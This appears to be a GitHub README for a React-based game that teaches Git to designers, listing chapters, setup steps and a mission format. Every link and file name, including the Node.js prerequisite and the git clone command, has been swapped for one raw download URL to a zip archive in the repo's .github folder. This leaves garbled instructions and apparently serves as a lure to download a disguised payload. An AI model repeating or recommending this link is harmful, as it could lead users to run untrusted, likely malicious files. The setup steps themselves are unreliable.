An interactive game to master Git — from basics to enterprise-grade workflows. Built specifically for designers transitioning to full-stack roles.
- 8 Chapters, 48+ Missions covering everything from
git initto advanced CI/CD - 3 Challenge Types: Terminal commands, quizzes, and real-world scenarios
- Adaptive Difficulty: Progress unlocks based on your performance
- Designer-Focused Storyline: You're a Senior Product Designer at an AI startup
- Git Sandbox: Practice any command in a safe environment
- XP & Progress Tracking: Earn points and unlock achievements
- https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip (v18 or higher)
- npm or pnpm
- Git (of course! 😄)
# Clone the repository
git clone https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip
# Navigate to project directory
cd git-mastery-game
# Install dependencies
npm install
# Start development server
npm run devThe game will be available at http://localhost:5173
npm run build
npm run previewgit-mastery-game/
├── src/
│ ├── components/ # React components
│ │ ├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip
│ │ ├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip
│ │ ├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip
│ │ ├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip
│ │ └── ...
│ ├── data/
│ │ └── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip # All chapter & mission content
│ ├── hooks/ # Custom React hooks
│ ├── utils/ # Helper functions
│ ├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip # Main app component
│ ├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip # Entry point
│ └── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip # Global styles
├── public/ # Static assets
├── docs/ # Documentation
├── .github/
│ └── workflows/ # GitHub Actions CI/CD
├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip # Contribution guidelines
├── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip # Instructions for Claude Code
└── https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip
| # | Chapter | Topics |
|---|---|---|
| 1 | Foundation Refresh | Clone, add, commit, .gitignore, remotes |
| 2 | Branching Mastery | Git Flow, trunk-based, stashing |
| 3 | Collaboration & PRs | Pull requests, code review, forks, conflicts |
| 4 | Rewriting History | Amend, rebase, squash, cherry-pick |
| 5 | Recovery & Troubleshooting | Reflog, reset, revert, bisect |
| 6 | Git Internals | Objects, trees, blobs, refs |
| 7 | Advanced Workflows | Submodules, monorepos, hooks, CI/CD |
| 8 | Security & Best Practices | Secrets, signing, branch protection |
We welcome contributions! Please see https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip for guidelines.
- Fork the repository
- Create a feature branch:
git checkout -b feature/add-new-mission - Make your changes
- Run linting:
npm run lint - Commit with conventional commits:
git commit -m "feat(chapter-3): add merge conflict exercise" - Push and create a Pull Request
Missions are defined in https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip. Each mission follows this structure:
{
id: "3-7", // Chapter-Mission format
title: "Your Mission Title",
story: "The narrative context...",
concept: "Git Concept Name",
difficulty: 3, // 1-5 scale
xpReward: 180,
challenges: [
{
type: "terminal", // or "quiz" or "scenario"
prompt: "What the user sees",
expectedCommand: "git command",
hint: "Full command hint",
explanation: "Why this works"
}
]
}This project is optimized for development with Claude Code. See https://github.com/shrav89/git-mastery-game/raw/refs/heads/main/.github/game_git_mastery_v1.1.zip for AI-assisted development instructions.
- "Add a new mission about git worktrees to chapter 7"
- "Create a visual component showing branch diagrams"
- "Add localStorage persistence for game progress"
- "Implement a leaderboard feature"
- Framework: React 18
- Build Tool: Vite
- Styling: Tailwind CSS
- Icons: Lucide React
- Deployment: Vercel / Netlify / GitHub Pages
MIT License - see LICENSE for details.
- Inspired by the journey of designers becoming full-stack
- Built with ❤️ for the DesignFlow AI team
- Git documentation and community resources
Happy Learning! May your commits always be atomic and your merges conflict-free. 🚀